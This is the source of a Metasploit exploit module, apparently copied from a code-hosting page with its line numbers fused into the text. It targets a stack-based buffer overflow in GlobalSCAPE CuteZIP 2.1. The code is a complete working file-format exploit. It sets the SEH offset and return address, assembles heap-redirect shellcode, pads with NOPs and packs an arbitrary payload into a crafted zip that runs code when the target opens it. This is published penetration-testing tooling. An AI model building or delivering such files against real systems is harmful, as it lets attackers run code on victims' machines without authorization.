Path: blob/master/modules/exploits/windows/fileformat/cutezip_bof.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/zip'67class MetasploitModule < Msf::Exploit::Remote8Rank = NormalRanking910include Msf::Exploit::FILEFORMAT11include Msf::Exploit::Remote::Seh1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'GlobalSCAPE CuteZIP Stack Buffer Overflow',18'Description' => %q{19This module exploits a stack-based buffer overflow vulnerability in version 2.120of CuteZIP.2122In order for the command to be executed, an attacker must convince the target user23to open a specially crafted zip file with CuteZIP. By doing so, an attacker can24execute arbitrary code as the target user.25},26'License' => MSF_LICENSE,27'Author' => [28'C4SS!0 G0M3S <Louredo_[at]hotmail.com>', # Initial discovery, poc29'juan vazquez' # Metasploit30],31'References' => [32[ 'OSVDB', '85709' ],33[ 'EDB', '16162' ],34[ 'BID', '46375' ]35],36'Platform' => [ 'win' ],37'Payload' => {38'BadChars' => "",39'DisableNops' => true,40'Space' => 3000 # Limit due to the heap chunk size where the payload is stored41},42'Targets' => [43[44# Tested successfully on:45# * Windows XP SP346# * Windows Vista SP247# * Windows 7 SP148# (NO DEP)49'CuteZIP 2.1 / Windows Universal',50{51'Ret' => 0x0040112F, # pop, pop, ret from CuteZIP.exe52'Offset' => 1148,53'Nops' => 39854}55],56],57'DisclosureDate' => '2011-02-12',58'DefaultTarget' => 0,59'Notes' => {60'Reliability' => UNKNOWN_RELIABILITY,61'Stability' => UNKNOWN_STABILITY,62'SideEffects' => UNKNOWN_SIDE_EFFECTS63}64)65)6667register_options(68[69OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip'])70]71)72end7374def exploit75redirect_heap = <<-ASM76popad77popad78popad79push ecx80pop eax81call eax82ASM8384crafted_file = rand_text(target['Offset'])85crafted_file << generate_seh_record(target.ret)86crafted_file << Metasm::Shellcode.assemble(Metasm::Ia32.new, redirect_heap).encode_string87crafted_file << make_nops(1) * target['Nops']88crafted_file << payload.encoded8990# Create the file91zip = Rex::Zip::Archive.new92xtra = rand_text(4)93zip.add_file(crafted_file, xtra)9495print_status("Creating '#{datastore['FILENAME']}' file...")96file_create(zip.pack)97end98end99100101